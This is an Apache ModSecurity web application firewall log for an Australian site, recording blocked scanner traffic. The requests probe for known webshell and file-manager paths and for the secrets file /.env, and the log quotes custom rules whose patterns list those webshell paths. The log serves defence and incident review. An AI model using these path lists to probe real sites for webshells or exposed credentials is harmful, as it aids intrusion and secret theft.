[Tue Nov 18 19:38:57.544016 2025] [:error] [pid 57578:tid 57602] [client 106.119.167.146:46733] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRxa0T9_jVUQm7Io75PrawAAAJY"]
[Tue Nov 18 21:18:18.846816 2025] [:error] [pid 3500:tid 3512] [client 84.247.191.22:53068] [client 84.247.191.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aRxyGvCbRC7k2D7mjbSJVwAAAco"], referer: binance.com
[Tue Nov 18 21:37:30.375769 2025] [:error] [pid 57578:tid 57594] [client 45.134.79.103:55522] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRx2mj9_jVUQm7Io75MLtQAAAI4"]
[Tue Nov 18 21:37:31.060715 2025] [:error] [pid 1387:tid 1406] [client 45.134.79.103:50650] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRx2m0zBvalKyx3hMvWepwAAAA0"]
[Tue Nov 18 21:37:31.708683 2025] [:error] [pid 3500:tid 3514] [client 45.134.79.103:57884] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRx2m_CbRC7k2D7mjbSTyQAAAcw"]
[Wed Nov 19 01:48:51.188599 2025] [:error] [pid 43882:tid 43950] [client 49.51.72.76:51764] [client 49.51.72.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRyxg95CQQLff3maRMLvTgAAAAo"]
[Wed Nov 19 02:15:30.133053 2025] [:error] [pid 3052:tid 3148] [client 182.44.8.254:49777] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRy3wlNM6bOMTTuJnz2XQQAAANM"]
[Wed Nov 19 02:48:14.147033 2025] [:error] [pid 3052:tid 3135] [client 172.93.148.166:54612] [client 172.93.148.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRy_blNM6bOMTTuJnz2rXgAAAMY"]
[Wed Nov 19 02:48:15.506594 2025] [:error] [pid 3052:tid 3137] [client 172.93.148.166:60878] [client 172.93.148.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aRy_b1NM6bOMTTuJnz2rbAAAAMg"]
[Wed Nov 19 02:48:17.543894 2025] [:error] [pid 43880:tid 43903] [client 172.93.148.166:44839] [client 172.93.148.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aRy_ce1q1HNbKyNr9SaFYQAAAFI"]
[Wed Nov 19 02:48:18.947166 2025] [:error] [pid 43880:tid 43886] [client 172.93.148.166:47612] [client 172.93.148.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aRy_cu1q1HNbKyNr9SaFcgAAAEE"]
[Wed Nov 19 02:49:09.006802 2025] [:error] [pid 14439:tid 14442] [client 172.93.148.190:47492] [client 172.93.148.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/limit/"] [unique_id "aRy_pVat0cKFYVAxpdDw1AAAAQE"]
[Wed Nov 19 02:49:09.561630 2025] [:error] [pid 3052:tid 3145] [client 172.93.148.190:41388] [client 172.93.148.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/limit/"] [unique_id "aRy_pVNM6bOMTTuJnz2tXgAAANA"]
[Wed Nov 19 02:49:10.017261 2025] [:error] [pid 43880:tid 43887] [client 172.93.148.190:41402] [client 172.93.148.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/limit/"] [unique_id "aRy_pu1q1HNbKyNr9SaF4wAAAEI"]
[Wed Nov 19 02:49:10.496171 2025] [:error] [pid 43881:tid 43930] [client 172.93.148.190:41442] [client 172.93.148.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/limit/"] [unique_id "aRy_pn_TrIND5buvEyf2GwAAAVE"]
[Wed Nov 19 02:49:11.065496 2025] [:error] [pid 43880:tid 43905] [client 172.93.148.190:41480] [client 172.93.148.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/limit/"] [unique_id "aRy_p-1q1HNbKyNr9SaF5gAAAFQ"]
[Wed Nov 19 06:12:52.819880 2025] [:error] [pid 6644:tid 6659] [client 172.192.66.73:55268] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRzvZE0i6Rf788MB6sa4RQAAAM0"]
[Wed Nov 19 06:12:53.047603 2025] [:error] [pid 6919:tid 6945] [client 172.192.66.73:55254] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRzvZUYFdN1s_9xJVUmAOgAAARc"]
[Wed Nov 19 06:12:53.279281 2025] [:error] [pid 6555:tid 6613] [client 172.192.66.73:55240] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRzvZUbVJm8eMsGMTCNxNgAAAFY"]
[Wed Nov 19 06:12:53.512930 2025] [:error] [pid 6556:tid 6623] [client 172.192.66.73:55281] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRzvZZuL7hhgrmdM1mtdWgAAAIU"]
[Wed Nov 19 06:12:53.742146 2025] [:error] [pid 6644:tid 6669] [client 172.192.66.73:55258] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hans.php"] [unique_id "aRzvZU0i6Rf788MB6sa4SAAAANc"]
[Wed Nov 19 06:12:53.986856 2025] [:error] [pid 6555:tid 6599] [client 172.192.66.73:55271] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hans.php"] [unique_id "aRzvZUbVJm8eMsGMTCNxOQAAAEg"]
[Wed Nov 19 06:12:54.247810 2025] [:error] [pid 6555:tid 6601] [client 172.192.66.73:60951] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hans.php"] [unique_id "aRzvZkbVJm8eMsGMTCNxOgAAAEo"]
[Wed Nov 19 06:12:54.475920 2025] [:error] [pid 6644:tid 6657] [client 172.192.66.73:27268] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hans.php"] [unique_id "aRzvZk0i6Rf788MB6sa4SgAAAMs"]
[Wed Nov 19 06:12:54.706534 2025] [:error] [pid 6919:tid 6937] [client 172.192.66.73:60939] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aRzvZkYFdN1s_9xJVUmAPQAAAQ8"]
[Wed Nov 19 06:12:54.946589 2025] [:error] [pid 6554:tid 6580] [client 172.192.66.73:60942] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aRzvZt8rvPWLafJFqmU77wAAABQ"]
[Wed Nov 19 06:12:55.179802 2025] [:error] [pid 6554:tid 6576] [client 172.192.66.73:60984] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aRzvZ98rvPWLafJFqmU78QAAABA"]
[Wed Nov 19 06:12:55.408728 2025] [:error] [pid 6556:tid 6640] [client 172.192.66.73:59413] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aRzvZ5uL7hhgrmdM1mtdXQAAAJY"]
[Wed Nov 19 06:12:55.636217 2025] [:error] [pid 6556:tid 6638] [client 172.192.66.73:60968] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aRzvZ5uL7hhgrmdM1mtdXwAAAJQ"]
[Wed Nov 19 06:12:55.886939 2025] [:error] [pid 6556:tid 6624] [client 172.192.66.73:55293] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aRzvZ5uL7hhgrmdM1mtdYQAAAIY"]
[Wed Nov 19 06:12:56.159510 2025] [:error] [pid 6919:tid 6933] [client 172.192.66.73:59411] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aRzvaEYFdN1s_9xJVUmAQAAAAQs"]
[Wed Nov 19 06:12:56.419151 2025] [:error] [pid 6556:tid 6621] [client 172.192.66.73:60945] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aRzvaJuL7hhgrmdM1mtdZAAAAIM"]
[Wed Nov 19 06:12:56.677017 2025] [:error] [pid 6556:tid 6631] [client 172.192.66.73:55237] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aRzvaJuL7hhgrmdM1mtdZgAAAI0"]
[Wed Nov 19 06:12:56.950304 2025] [:error] [pid 6919:tid 6943] [client 172.192.66.73:55291] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aRzvaEYFdN1s_9xJVUmAQwAAARU"]
[Wed Nov 19 06:12:57.321741 2025] [:error] [pid 6644:tid 6654] [client 172.192.66.73:60948] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aRzvaU0i6Rf788MB6sa4TAAAAMg"]
[Wed Nov 19 06:12:57.625822 2025] [:error] [pid 6554:tid 6562] [client 172.192.66.73:59451] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aRzvad8rvPWLafJFqmU79QAAAAM"]
[Wed Nov 19 06:12:57.921822 2025] [:error] [pid 6555:tid 6596] [client 172.192.66.73:60955] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aRzvaUbVJm8eMsGMTCNxPgAAAEU"]
[Wed Nov 19 06:12:58.152892 2025] [:error] [pid 6644:tid 6666] [client 172.192.66.73:60930] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aRzvak0i6Rf788MB6sa4TwAAANQ"]
[Wed Nov 19 06:12:58.405403 2025] [:error] [pid 6554:tid 6564] [client 172.192.66.73:55285] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aRzvat8rvPWLafJFqmU79wAAAAU"]
[Wed Nov 19 06:12:58.667151 2025] [:error] [pid 6555:tid 6607] [client 172.192.66.73:59428] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aRzvakbVJm8eMsGMTCNxQAAAAFA"]
[Wed Nov 19 06:12:58.910648 2025] [:error] [pid 6554:tid 6560] [client 172.192.66.73:27280] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aRzvat8rvPWLafJFqmU7-QAAAAE"]
[Wed Nov 19 06:12:59.160804 2025] [:error] [pid 6554:tid 6578] [client 172.192.66.73:60962] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aRzva98rvPWLafJFqmU7-gAAABI"]
[Wed Nov 19 06:12:59.406265 2025] [:error] [pid 6554:tid 6567] [client 172.192.66.73:55247] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aRzva98rvPWLafJFqmU7_QAAAAg"]
[Wed Nov 19 06:12:59.666696 2025] [:error] [pid 6644:tid 6665] [client 172.192.66.73:27515] [client 172.192.66.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aRzva00i6Rf788MB6sa4UwAAANM"]
[Wed Nov 19 07:30:38.132444 2025] [:error] [pid 6644:tid 6664] [client 18.191.165.250:56379] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR0Bnk0i6Rf788MB6sbZjAAAANI"]
[Wed Nov 19 07:30:38.527206 2025] [:error] [pid 6555:tid 6607] [client 18.191.165.250:56461] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR0BnkbVJm8eMsGMTCONqQAAAFA"]
[Wed Nov 19 07:30:38.921577 2025] [:error] [pid 6919:tid 6941] [client 18.191.165.250:56575] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR0BnkYFdN1s_9xJVUmrBwAAARM"]
[Wed Nov 19 07:30:39.316382 2025] [:error] [pid 6554:tid 6579] [client 18.191.165.250:56712] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR0Bn98rvPWLafJFqmVW4wAAABM"]
[Wed Nov 19 07:30:39.709141 2025] [:error] [pid 6555:tid 6605] [client 18.191.165.250:56787] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR0Bn0bVJm8eMsGMTCONxQAAAE4"]
[Wed Nov 19 14:43:55.449255 2025] [:error] [pid 12673:tid 12722] [client 222.79.103.59:45029] [client 222.79.103.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aR1nK8ab1F0fb062dH0hnwAAAhI"]
[Wed Nov 19 14:44:35.033879 2025] [:error] [pid 6555:tid 6601] [client 85.190.102.89:51678] [client 85.190.102.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aR1nU0bVJm8eMsGMTCMBuwAAAEo"]
[Wed Nov 19 20:27:06.309471 2025] [:error] [pid 26664:tid 26687] [client 192.76.153.253:28578] [client 192.76.153.253] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "216.244.66.226_d148ee61c6349470587340ea10e25b0af643bcb4"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aR23mIpWc1yoj2P7MeACIAAAAVM"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Wed Nov 19 20:35:57.818775 2025] [:error] [pid 6556:tid 6634] [client 104.196.176.201:58172] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aR25rZuL7hhgrmdM1msncgAAAJA"]
